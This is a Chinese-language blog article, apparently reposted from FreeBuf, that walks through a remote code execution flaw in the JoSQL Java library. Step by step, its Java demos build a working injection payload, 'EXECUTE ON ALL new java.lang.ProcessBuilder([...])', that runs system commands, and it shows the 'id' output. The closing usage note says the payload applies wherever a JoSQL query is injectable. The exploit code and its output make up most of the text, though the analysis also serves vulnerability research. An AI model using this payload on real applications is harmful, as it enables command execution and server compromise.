JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发,JoSQL提供了搜索,排序,group等对Java对象的集合进行类似SQL的查询应该应用的功能。

例如,查找所有在2004年内修改过的html文件:

SELECT * FROM   java.io.File WHERE  name $LIKE "%.html" AND    toDate (lastModified) BETWEEN toDate ('01-12-2004') 
AND    toDate ('31-12-2004')

java中使用JoSQL:

// 获取 java.io.File 列表.
List myObjs = getMyObjects ();

// 创建查询对象.
Query q = new Query ();

// Parse the SQL you are going to use, it is assumed here that 
// "myObjs" contains instances of "java.io.File".
q.parse ("SELECT name,length " +
         "FROM   java.io.File " +
         "WHERE  fileExtension (name) = :fileExt " +
         "ORDER BY length DESC, name " +
         "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");

// 绑定参数类似于预编译模式设置参数
q.setVariable ("fileExt", "java");

// 执行查询.
QueryResults qr = q.execute (myObjs);
  
// Get the average length, this is a save value, the result
// of executing the call "avg (:_allobjs, length)", it is saved against
// key: "avgLength".
Map saveValues = qr.getSaveValues ();
Number avg = (Number) saveValues.get ("avgLength");

// 循环读取结果
List res = qr.getResults ();

for (int i = 0; i < res.size (); i++)
{

    // This time there is a List for each row, index 0 holds the name of 
    // the file that matched, index 1 holds the length.
    List r = (List) res.get (i);

    System.out.println ("NAME: " + r.get (0));
    System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);

}

具体其他详细操作可参考:http://josql.sourceforge.net

下面分析下远程代码造成的原因

1.首先写一个demo查询从User列表中查询:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT * from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                User user = (User)res.get(i);
                System.out.println("username:"+user.username+"|password:"+user.password);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

上面代码运行结果是:

username:nike|password:cb39554898fc98f9329d37242045e728
username:smith|password:12345678

现在将sql语句换成:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT help from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

则运行结果:

help method:nike|cb39554898fc98f9329d37242045e728
help method:smith|12345678 [null] [null]

从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。

2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT new josql.Demo() from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

执行结果:

josql.Demo@447ffd8e josql.Demo@2edf98c4

3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用

语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[josql.Demo@4094de98]

从结果中可以看到Demo成功被创建。

结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User where 1=1  group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, "                    + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[uid=501(nike) gid=20(staff) 
groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),  null] [null, null]

则系统命令成功被执行。

利用场景

当某处查询利用了joSQL并且存在注入,则通过这个漏洞直接调用系统命令。

[作者/安恒信息(企业账号),转自FreeBuf黑客与极客(FreeBuf.COM)]

原创文章,作者:stanley,如若转载,请注明出处:http://www.178linux.com/724

(0)
stanleystanley
上一篇 2015-03-06 10:40
下一篇 2015-03-06 15:39

相关推荐

  • 带你走进PI的世界-Raspbian Pi上实现LAMP

     初识   Raspbian PI                   前段时间,出于兴趣,入手一个树莓派(Raspbian PI…

    Linux干货 2016-01-05
  • 软硬链接区别及tr转换命令

    软硬链接的区别 (1)软连接可以 跨文件系统 ,硬连接不可以 (2)关于 I节点的问题 。硬连接不管有多少个,都指向的是同一个I节点,会把 结点连接数增加,只要结点的连接数不是 0,文件就一直存在 ,不管你删除的是源文件还是连接的文件。只         要有一个存在,文件就 存…

    Linux干货 2016-08-08
  • N29第一周作业:初识Linux系统

    1、描述计算机的组成及其功能。
    2、按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。
    3、描述Linux的哲学思想,并按照自己的理解对其进行解释性描述。
    4、说明Linux系统上命令的使用格式;详细介绍ifconfig、echo、tty、startx、export、pwd、history、shutdown、poweroff、reboot、hwclock、date命令的使用,并配合相应的示例来阐述。
    5、如何在Linux系统上获取命令的帮助信息,请详细列出,并描述man文档的章节是如何划分的。
    6、请罗列Linux发行版的基础目录名称命名法则及功用规定

    2018-03-04
  • 基于NFS服务的mariadb数据库实现

    实验要求:     (1) nfs server导出/data/目录;     (2) nfs client挂载/data/至本地的/mydata目录;本地的mysqld或mariadb服务的数据目录设置为/mydata, 要求服务能正常启动,且可正常 存储数据;   (3)用另一台主机,…

    2017-06-11
  • RAID常见级别及特性

    磁盘阵列(Redundant Arrays of Independent Disks,RAID),通过软件或者硬件的手段将多个磁盘整合成一个磁盘来使用,以此来提高磁盘的性能,并提供数据冗余的功能。 目前常见的RAID等级: raid0,被称为条带卷。 条带卷,我们可以通过名字来想象:RAID0通过把文件切割之后把数据像一条带子一样平铺在每个磁盘之上。 由于文…

    Linux干货 2016-01-05